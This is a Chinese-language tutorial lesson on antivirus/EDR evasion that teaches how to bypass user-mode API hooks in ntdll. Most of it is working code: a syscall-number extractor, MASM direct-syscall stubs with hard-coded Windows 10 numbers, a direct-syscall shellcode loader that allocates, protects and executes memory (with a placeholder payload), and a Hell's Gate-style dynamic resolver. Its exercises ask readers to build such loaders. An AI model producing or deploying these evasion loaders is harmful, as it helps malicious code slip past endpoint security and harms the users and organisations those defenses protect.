免杀专题
5、重写R3API
1. 课程概述
1.1 学习目标
- 理解Windows API的分层结构
- 掌握API Hook的原理与绕过方法
- 学会重新实现底层系统调用
- 绕过安全软件的API监控
1.2 前置知识
- Windows API调用机制
- x86/x64汇编基础
- Syscall概念
2. 名词解释
2.1 核心术语
| 术语 | 说明 |
|---|---|
| API Hook | 拦截API调用的技术,常被安全软件使用 |
| Inline Hook | 修改函数开头指令的Hook方式 |
| Syscall | 系统调用,从用户态进入内核态 |
| SSN | System Service Number,系统服务号 |
| Direct Syscall | 直接执行syscall指令,跳过ntdll |
2.2 API调用层次
应用程序
↓
kernel32.dll!CreateFileA ← 可能被Hook
↓
kernelbase.dll!CreateFileW ← 可能被Hook
↓
ntdll.dll!NtCreateFile ← 可能被Hook
↓
syscall指令 ← 进入内核(无法Hook)
↓
内核 ntoskrnl.exe
3. 技术原理
3.1 安全软件如何Hook API
ntdll!NtAllocateVirtualMemory:
4C 8B D1 mov r10, rcx
B8 18 00 00 00 mov eax, 18h ; syscall number
0F 05 syscall
C3 ret
被Hook后:
ntdll!NtAllocateVirtualMemory:
E9 XX XX XX XX jmp SecurityHook ; 跳转到安全软件
90 nop
0F 05 syscall
C3 ret
3.2 绕过思路
- 重新实现ntdll函数:不使用被Hook的函数
- 直接Syscall:跳过ntdll,直接执行syscall
- 从disk读取干净ntdll:加载未Hook的副本
4. 实现代码
4.1 获取Syscall Number
#include <windows.h>
#include <stdio.h>
// 从ntdll中解析syscall number
DWORD GetSyscallNumber(LPCSTR szFunctionName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return 0;
PBYTE pFunc = (PBYTE)GetProcAddress(hNtdll, szFunctionName);
if (!pFunc) return 0;
// 检查是否被Hook
// 正常的Nt函数应该以 4C 8B D1 B8 XX XX 00 00 开头
if (pFunc[0] == 0x4C && pFunc[1] == 0x8B && pFunc[2] == 0xD1) {
// 未Hook,syscall number在偏移4处
return *(DWORD*)(pFunc + 4);
}
// 被Hook了,尝试其他方法获取
printf("[-] Function may be hooked!\n");
return 0;
}
int main() {
printf("========== Syscall Number Extraction ==========\n");
struct {
LPCSTR name;
DWORD ssn;
} functions[] = {
{ "NtAllocateVirtualMemory", 0 },
{ "NtProtectVirtualMemory", 0 },
{ "NtWriteVirtualMemory", 0 },
{ "NtCreateThreadEx", 0 },
{ "NtOpenProcess", 0 },
};
for (int i = 0; i < sizeof(functions)/sizeof(functions[0]); i++) {
functions[i].ssn = GetSyscallNumber(functions[i].name);
printf("%-30s SSN: 0x%X\n", functions[i].name, functions[i].ssn);
}
return 0;
}
4.2 直接Syscall实现 (x64)
需要单独的汇编文件 syscalls.asm:
; syscalls.asm - MASM x64
.code
; NtAllocateVirtualMemory syscall
NtAllocateVirtualMemoryDirect proc
mov r10, rcx
mov eax, 18h ; Windows 10 syscall number
syscall
ret
NtAllocateVirtualMemoryDirect endp
; NtProtectVirtualMemory syscall
NtProtectVirtualMemoryDirect proc
mov r10, rcx
mov eax, 50h ; Windows 10 syscall number
syscall
ret
NtProtectVirtualMemoryDirect endp
; NtWriteVirtualMemory syscall
NtWriteVirtualMemoryDirect proc
mov r10, rcx
mov eax, 3Ah ; Windows 10 syscall number
syscall
ret
NtWriteVirtualMemoryDirect endp
; NtCreateThreadEx syscall
NtCreateThreadExDirect proc
mov r10, rcx
mov eax, 0C2h ; Windows 10 syscall number
syscall
ret
NtCreateThreadExDirect endp
end
4.3 C++调用直接Syscall
#include <windows.h>
#include <stdio.h>
// 外部汇编函数声明
extern "C" {
NTSTATUS NtAllocateVirtualMemoryDirect(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
NTSTATUS NtProtectVirtualMemoryDirect(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
}
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, // NOP sled
0xC3 // ret
};
int main() {
printf("========== Direct Syscall ShellCode Loader ==========\n");
PVOID pMemory = NULL;
SIZE_T size = sizeof(shellcode);
ULONG oldProtect;
// 使用直接syscall分配内存
NTSTATUS status = NtAllocateVirtualMemoryDirect(
GetCurrentProcess(),
&pMemory,
0,
&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (status != 0) {
printf("[-] Allocation failed: 0x%X\n", status);
return 1;
}
printf("[+] Memory allocated at: 0x%p\n", pMemory);
// 复制shellcode
memcpy(pMemory, shellcode, sizeof(shellcode));
// 使用直接syscall修改保护
SIZE_T regionSize = sizeof(shellcode);
status = NtProtectVirtualMemoryDirect(
GetCurrentProcess(),
&pMemory,
®ionSize,
PAGE_EXECUTE_READ,
&oldProtect
);
if (status != 0) {
printf("[-] Protection change failed: 0x%X\n", status);
return 1;
}
printf("[+] Protection changed, executing...\n");
// 执行
((void(*)())pMemory)();
printf("[+] Done!\n");
return 0;
}
4.4 动态Syscall (Hell’s Gate技术)
#include <windows.h>
#include <stdio.h>
// 动态获取syscall number并执行
typedef struct _SYSCALL_ENTRY {
DWORD dwHash; // 函数名哈希
DWORD dwSSN; // syscall number
PVOID pAddress; // syscall地址
} SYSCALL_ENTRY, *PSYSCALL_ENTRY;
// 计算函数名哈希
DWORD HashFunction(LPCSTR szName) {
DWORD hash = 5381;
while (*szName) {
hash = ((hash << 5) + hash) + *szName++;
}
return hash;
}
// 从ntdll获取所有Zw/Nt函数的syscall number
BOOL InitializeSyscalls(PSYSCALL_ENTRY entries, DWORD count) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hNtdll + pDos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExports = (PIMAGE_EXPORT_DIRECTORY)(
(PBYTE)hNtdll + pNt->OptionalHeader.DataDirectory[0].VirtualAddress
);
PDWORD pNames = (PDWORD)((PBYTE)hNtdll + pExports->AddressOfNames);
PDWORD pFuncs = (PDWORD)((PBYTE)hNtdll + pExports->AddressOfFunctions);
PWORD pOrds = (PWORD)((PBYTE)hNtdll + pExports->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExports->NumberOfNames; i++) {
LPCSTR szName = (LPCSTR)((PBYTE)hNtdll + pNames[i]);
PBYTE pFunc = (PBYTE)hNtdll + pFuncs[pOrds[i]];
// 只处理Zw/Nt函数
if ((szName[0] == 'Z' && szName[1] == 'w') ||
(szName[0] == 'N' && szName[1] == 't')) {
DWORD hash = HashFunction(szName);
// 查找匹配的条目
for (DWORD j = 0; j < count; j++) {
if (entries[j].dwHash == hash) {
// 提取syscall number
if (pFunc[0] == 0x4C && pFunc[1] == 0x8B) {
entries[j].dwSSN = *(DWORD*)(pFunc + 4);
entries[j].pAddress = pFunc;
}
}
}
}
}
return TRUE;
}
5. 编译说明
5.1 MASM编译汇编文件
# 编译asm文件
ml64 /c /Fo syscalls.obj syscalls.asm
# 编译C++并链接
cl.exe main.cpp syscalls.obj /Fe:loader.exe
5.2 项目配置
- 创建Visual Studio项目
- 添加.asm文件
- 右键.asm文件 → 属性 → 项类型 → Microsoft Macro Assembler
- 生成依赖项中添加masm
6. 课后作业
6.1 基础练习
- 获取当前系统上NtAllocateVirtualMemory的syscall number
- 实现直接syscall的内存分配
6.2 进阶练习
- 实现动态获取syscall number的加载器
- 尝试检测ntdll是否被Hook
6.3 思考题
- 不同Windows版本的syscall number如何处理?
- 安全软件如何检测直接syscall调用?
7. 下一课预告
下一课我们将学习**“重载NTDLL”**,通过加载未Hook的ntdll副本来绕过检测。